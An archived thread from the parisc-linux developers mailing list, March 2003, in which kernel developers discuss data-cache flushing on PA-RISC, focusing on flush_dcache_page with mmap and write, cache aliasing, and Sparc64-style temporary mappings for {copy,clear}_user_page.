List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17856

On Fri, Mar 07, 2003 at 10:29:45PM -0800, David S. Miller wrote:
> If you flush caches exactly what sparc64 does in 2.5.x, and you do
> have a virtually indexed, physically tagged cache, you should have no
> correctness.  I've stressed that port to no end (in particular the LTP
> suite has a great mmap/read/write coherency tester), and if there are
> holes I'd like to know about them :-)

One other difference you forgot is that Sparc64 has writethrough caches
and PA has writeback caches.  This can make a difference.

> The most crucial area to get efficient flushing is the
> {copy,clear}_user_page implementation.  If you use temporary kernel
> mappings mapped at virtual addresses matching the virtual color that
> the user's mappings will have, this avoids virtually ALL of the
> flushing for anonymous pages.  I haven't noticed too many ports pick
> up this trick even though I mention it in cachetlb.txt.

I've certainly been thinking about doing it, but you're right we don't
do it yet.

> On sparc64 I even save the original TLB entries before the flush
> and restore them afterwards, so there is no TLB traffic as a result
> of doing these temp mappings.

Nice trick.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 08 Mar 2003 15:00:23 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <20030308.150023.97153009.davem@redhat.com>
References: <20030308172439.GA10161@dsl2.external.hp.com>
	<20030308.110459.35972945.davem@redhat.com>
	<20030308224503.L3865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622261 22624 80.91.229.3 (22 Nov 2014 02:11:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:01 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 16:22:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 781AA4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 16:22:01 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA24895;
	Sat, 8 Mar 2003 15:00:24 -0800
In-Reply-To: <20030308224503.L3865@parcelfarce.linux.theplanet.co.uk>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17857

   From: Matthew Wilcox <willy@debian.org>
   Date: Sat, 8 Mar 2003 22:45:03 +0000
   
   The upshot is that if two addresses are congruent modulo 4MB and they
   map to the same physical address, the cache will detect it.  I've been
   thinking about (ab)using kmap() for this for a while.  The trouble
   is we'd need to have 1024 slots just to be guaranteed space to map 1
   page -- if we need to guarantee to be able to map two pages at once,
   we need 2048 slots (ie 8MB of virtual space).  Etc.  I have no idea how
   many pages we expect to be able to map simultaneously, and haven't been
   able to get a straight answer out of anyone so far.

You need merely 8MB of address space (2 * 4MB) if you implement
my {copy,clear}_user_page() dynamic mapping hack, that will be
tons more cheaper than any kmap based scheme and also be nicer
on the TLB as there will be zero TLB changes occurring around
the copy/clear.

People can continue to talk about all their bright new idea, which
is fine, but it feels like my known-working ideas are being ignored.


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 08 Mar 2003 15:02:14 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <20030308.150214.30103426.davem@redhat.com>
References: <20030308063043.GB27859@dsl2.external.hp.com>
	<20030307.222945.32673395.davem@redhat.com>
	<20030308231125.M3865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622262 22630 80.91.229.3 (22 Nov 2014 02:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:02 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 16:23:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 407484829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 16:23:50 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA24906;
	Sat, 8 Mar 2003 15:02:15 -0800
In-Reply-To: <20030308231125.M3865@parcelfarce.linux.theplanet.co.uk>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17858

   From: Matthew Wilcox <willy@debian.org>
   Date: Sat, 8 Mar 2003 23:11:25 +0000

   One other difference you forgot is that Sparc64 has writethrough caches
   and PA has writeback caches.  This can make a difference.
   
It certainly could, but I think sparc64's schemes will work.
Please document any differences you discover, preferably with
text to go into Documentation/cachetlb.txt

The big variable is whether the cache lines are tagged with
physical addresses or not, that _does_ make a known difference.

But, it appears that so far all information suggests that
PA Risc uses physical tags.


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 23:27:36 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <20030308232736.N3865@parcelfarce.linux.theplanet.co.uk>
References: <20030308172439.GA10161@dsl2.external.hp.com> <20030308.110459.35972945.davem@redhat.com> <20030308224503.L3865@parcelfarce.linux.theplanet.co.uk> <20030308.150023.97153009.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622262 22633 80.91.229.3 (22 Nov 2014 02:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:02 +0000 (UTC)
Cc: willy@debian.org, grundler@dsl2.external.hp.com,
	jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 16:27:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E639482B
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 16:27:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18rnj6-0005WT-00; Sat, 08 Mar 2003 23:27:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20030308.150023.97153009.davem@redhat.com>; from davem@redhat.com on Sat, Mar 08, 2003 at 03:00:23PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17859

On Sat, Mar 08, 2003 at 03:00:23PM -0800, David S. Miller wrote:
> You need merely 8MB of address space (2 * 4MB) if you implement
> my {copy,clear}_user_page() dynamic mapping hack, that will be
> tons more cheaper than any kmap based scheme and also be nicer
> on the TLB as there will be zero TLB changes occurring around
> the copy/clear.
> 
> People can continue to talk about all their bright new idea, which
> is fine, but it feels like my known-working ideas are being ignored.

Sorry, I think you've misunderstood the problem.  This is write() vs mmap().
We call flush_dcache_page() after the write() -- but PA's flush_dcache_page() only flushes the kernel's mapping of that page, not the user's.  The question is how to fix that.

Randolph published a patch which flushes two pages -- one which is the
kernel's view of the page, and one which is the user's view of the page.
John disagreed that was necessary, and I'm proposing a way (with kmap)
to avoid it.

Nothing to do with copy/clear_user_page().

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 15:31:41 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20030308233141.GC11363@tausq.org>
References: <20030308172439.GA10161@dsl2.external.hp.com> <20030308.110459.35972945.davem@redhat.com> <20030308224503.L3865@parcelfarce.linux.theplanet.co.uk> <20030308.150023.97153009.davem@redhat.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622262 22637 80.91.229.3 (22 Nov 2014 02:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:02 +0000 (UTC)
Cc: willy@debian.org, grundler@dsl2.external.hp.com,
	jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 16:32:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABEC64829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 16:32:35 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7E3BDCD294; Sat,  8 Mar 2003 15:31:41 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20030308.150023.97153009.davem@redhat.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17860

> You need merely 9MB of address space (2 * 4MB) if you implement
> my {copy,clear}_user_page() dynamic mapping hack, that will be
> tons more cheaper than any kmap based scheme and also be nicer
> on the TLB as there will be zero TLB changes occurring around
> the copy/clear.

i hope i'm not missing something obvious, but from what i understand
from this discussion, {copy,user}_user_page helps with the initial
syncing up of new mappings that are created for a process... but how
does this deal with syncing up changes afterwards? for that we still
need the flush_dcache_page to walk the user mappings right?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 08 Mar 2003 15:14:58 -0800 (PST)
Lines: 15
Approved: news@gmane.org
Message-ID: <20030308.151458.92123437.davem@redhat.com>
References: <20030308224503.L3865@parcelfarce.linux.theplanet.co.uk>
	<20030308.150023.97153009.davem@redhat.com>
	<20030308232736.N3865@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622262 22638 80.91.229.3 (22 Nov 2014 02:11:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:02 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: willy@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 16:36:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0A2D4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 16:36:34 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA24958;
	Sat, 8 Mar 2003 15:14:59 -0800
In-Reply-To: <20030308232736.N3865@parcelfarce.linux.theplanet.co.uk>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17861

	Sorry, I think you've misunderstood the problem.  This is
	write() vs mmap().  We call flush_dcache_page() after the
	write() -- but PA's flush_dcache_page() only flushes the
	kernel's mapping of that page, not the user's.  The question
	is how to fix that.

Right, flush_dcache_page() must get rid of all instances of
the underlying physical data from the cache.  This means all
kernel and user virtual mappings of the page.

Chips with a "flush physical page X" scheme can just do that,
others can flush the kernel virtual mapping then walk the
VMA list of user mappings and hit those one by one.



From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 08 Mar 2003 15:15:55 -0800 (PST)
Lines: 22
Approved: news@gmane.org
Message-ID: <20030308.151555.15490234.davem@redhat.com>
References: <20030308224503.L3865@parcelfarce.linux.theplanet.co.uk>
	<20030308.150023.97153009.davem@redhat.com>
	<20030308233141.GC11363@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622263 22640 80.91.229.3 (22 Nov 2014 02:11:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:03 +0000 (UTC)
Cc: willy@debian.org, grundler@dsl2.external.hp.com,
	jsm@udlkern.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 16:37:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E9164829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 16:37:31 -0700 (MST)
Original-Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA24966;
	Sat, 8 Mar 2003 15:15:55 -0800
In-Reply-To: <20030308233141.GC11363@tausq.org>
X-FalunGong: Information control.
X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17862

   From: Randolph Chung <tausq@debian.org>
   Date: Sat, 8 Mar 2003 15:31:41 -0800

   > You need merely 9MB of address space (2 * 4MB) if you implement
   > my {copy,clear}_user_page() dynamic mapping hack, that will be
   > tons more cheaper than any kmap based scheme and also be nicer
   > on the TLB as there will be zero TLB changes occurring around
   > the copy/clear.
   
   i hope i'm not missing something obvious, but from what i understand
   from this discussion, {copy,user}_user_page helps with the initial
   syncing up of new mappings that are created for a process... but how
   does this deal with syncing up changes afterwards? for that we still
   need the flush_dcache_page to walk the user mappings right?
   
Yes, the {copy,clear}_user_page() thing is an optimization for
handling of cache alias issues wrt. anonymous pages.

The PA-RISC mmap/write bug is something entirely different,
flush_dcache_page() just isn't doing what it is defined to
do :-)


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 19:15:38 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030309021538.GA20553@dsl2.external.hp.com>
References: <20030308172439.GA10161@dsl2.external.hp.com> <20030308.110459.35972945.davem@redhat.com> <20030308224503.L3865@parcelfarce.linux.theplanet.co.uk> <20030308.150023.97153009.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622263 22646 80.91.229.3 (22 Nov 2014 02:11:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:03 +0000 (UTC)
Cc: willy@debian.org, jsm@udlkern.fc.hp.com,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 19:15:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 9E2804829; Sat,  8 Mar 2003 19:15:38 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030308.150023.97153009.davem@redhat.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17863

On Sat, Mar 08, 2003 at 03:00:23PM -0800, David S. Miller wrote:
...
> People can continue to talk about all their bright new idea, which
> is fine, but it feels like my known-working ideas are being ignored.

As noted earlier, different problem.

Since about Nov 2002 we have been working on better {copy,clear}_user_page()
implementations quietly inside HP.  Unfortunately some, uhm, "issues" are
taking a long time to resolve before the routines can be published.
Once those issues are resolved, I think your trick with temporary
TLB entries can get implemented.

thanks,
grant


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 20:42:04 -0700 (MST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200303090342.UAA17294@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622263 22647 80.91.229.3 (22 Nov 2014 02:11:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:03 +0000 (UTC)
Cc: davem@redhat.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar  8 20:42:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67BF34829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  8 Mar 2003 20:42:10 -0700 (MST)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel8.hp.com (Postfix) with ESMTP
	id C58ED1C01222; Sat,  8 Mar 2003 22:42:09 -0500 (EST)
Original-Received: (from jsm@localhost)
	by udlkern.fc.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.01) id UAA17294;
	Sat, 8 Mar 2003 20:42:04 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17864

>
> Yes, the {copy,clear}_user_page() thing is an optimization for
> handling of cache alias issues wrt. anonymous pages.
>
I already implemented that solution on the parisc port. Well actually
only half :-). I implemented both the copy and clear user page optimizations,
but later on disabled the copy_user_page solution. I can't remember the
exact details of the problem. Based on a comment I wrote, it seems that in
some cases copy_user_page was being used for something that was going to
be executed. I can't remember the exact scenario, since copy_user_page
is only called in copy-on-write situations.

The problem is that since we have split I and D caches, the cache would
need to be flushed anyway so that the instructions could be seen for
execution.  So it didn't make any sense to set up the temporary
translation and then flush it anyway; better to just do it through the
kernel translation and flush.  I believe this isn't a problem on sparc64
because of the write-through cache.

> The PA-RISC mmap/write bug is something entirely different,
> flush_dcache_page() just isn't doing what it is defined to
> do :-)

Ok.  But looking at the sparc64 implementation of flush_dcache_page I
don't see any code to traverse user vma's.  Is there some other
architecture specific trick that is being used to flush any user mappings
that are mapped to the same physical address as the kernel address?

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:27:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: RFC: mmap patch
Date: Sat, 8 Mar 2003 20:51:55 -0700 (MST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200303090351.UAA17796@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622264 22648 80.91.229.3 (22 Nov 2014 02:11:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:04 +0000 (UTC)
Cc: davem@redhat.com
To: parisc-linux@lists.parisc-linux.org
